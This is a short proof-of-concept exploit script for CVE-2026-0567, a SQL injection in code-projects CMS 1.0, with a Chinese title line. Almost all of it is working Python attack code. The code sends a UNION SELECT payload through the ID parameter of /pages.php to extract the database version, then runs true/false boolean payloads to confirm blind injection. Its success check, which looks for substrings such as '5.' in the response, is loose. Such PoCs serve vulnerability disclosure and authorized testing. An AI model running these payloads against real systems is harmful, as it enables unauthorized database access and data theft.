CVE-2026-0567 code-projects CMS SQL注入漏洞

# CVE-2026-0567 SQL Injection PoC # Target: code-projects Content Management System 1.0 # Vulnerable File: /pages.php # Vulnerable Parameter: ID import requests import sys def exploit_sqli(target_url, payload): """Execute SQL injection payload on vulnerable parameter""" target = f"{target_url}/pages.php?ID={payload}" try: response = requests.get(target, timeout=10) return response.text except requests.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve_2026_0567.py <target_url>") print("Example: python cve_2026_0567.py http://localhost/code-projects-cms") sys.exit(1) target_url = sys.argv[1].rstrip('/') # Test payload - Database version extraction payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL-- - " print(f"[*] Testing SQL injection on {target_url}/pages.php") print(f"[*] Payload: {payload}") result = exploit_sqli(target_url, payload) if result: print(f"[+] Response received, length: {len(result)}") if '5.' in result or '8.' in result or '10.' in result or 'MariaDB' in result: print("[+] Potential SQL injection confirmed!") print("[+] Database version information found in response") # Blind boolean-based injection test true_payload = "1' AND 1=1-- - " false_payload = "1' AND 1=2-- - " print("[*] Testing blind boolean injection...") true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp and false_resp and len(true_resp) != len(false_resp): print("[+] Blind SQL injection confirmed!") print("[+] Application behaves differently based on SQL condition") if __name__ == "__main__": main()